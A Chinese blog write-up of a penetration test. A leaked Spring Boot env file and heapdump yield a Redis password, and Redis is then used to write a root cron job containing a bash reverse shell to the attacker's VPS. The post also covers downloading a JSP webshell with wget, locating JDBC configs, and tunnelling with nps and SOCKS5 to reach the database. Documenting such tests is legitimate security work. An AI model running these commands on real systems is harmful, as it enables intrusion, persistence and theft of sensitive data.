一次渗透从env到getshell

对一次渗透测试中从env泄露到最终getshell的过程进行记录

0x01: 从env到登录redis

对某网站进行目录扫描的时候,发现了env文件

根据文章:https://github.com/LandGrey/SpringBootVulExploit#0x02spring-cloud-snakeyaml-rce
也没有找到可用的rce端点

但是env中存在redis密码,网站也可下载heapdump文件,使用https://github.com/wyzxxz/heapdump_tool 找到redis的明文密码

使用得到的密码登录redis

为3.2版本

0x02:利用计划任务getshell

redis为3.2版本,无法使用主从复制进行getshell,尝试使用写入计划任务的方式进行getshell

set xx “\n* * * * * bash -i >& /dev/tcp/myvps/port 0>&1\n”
config set dir /var/spool/cron/
config set dbfilename root
save

服务器监听端口,过了一会可以看到成功反弹shell

因为客户需要得到敏感信息,光拿到shell没用,通过find命令查询配置文件:
find -iname ‘*.properties’

可以看到jdbc的配置文件,cat即可看到数据库配置
想着既然找到了web路径,就直接写入shell通过蚁剑来找,一方面找找是不是可能有多个数据库配置,一方面找找其他敏感的信息,比一个个cat要方便的多

在web目录:/opt/tomcat/webapps/下尝试写入文件,发现报了权限错误

尝试换成其他路径,比如这里有upload路径(直接碰到一个TP写入shell,也是web目录不可写,写在upload目录下),毕竟upload得让用户传东西

当然upload目录下是可以解析jsp文件的,因为反弹shell的是一个假的shell,无法正常的使用vi命令,使用echo写入蚁剑马的时候容易报错,我这里用了一个笨方法,在vps上面写一个马,这台机器是通网的,直接使用wget下载马

下载成功后,使用蚁剑连接

翻了一会没找到其他有用的信息,只有去翻数据库的账户密码

数据库是3306端口没变,对目标进行开放端口识别,发现没有开放3306端口

这样无法满足客户的邀请去获取敏感数据了

0x03:代理流量登录数据库

既然已经拿到了网站的shell,不让远程连接,那就尝试将流量代理出来,这里使用的是nps

https://github.com/ehang-io/nps

vps起一个服务端,然后将客户端传到shell机器上

即可起一个socket5代理,利用Prixifier连接上代理,再次登录数据库

成功登录数据库

发表评论

电子邮件地址不会被公开。 必填项已用*标注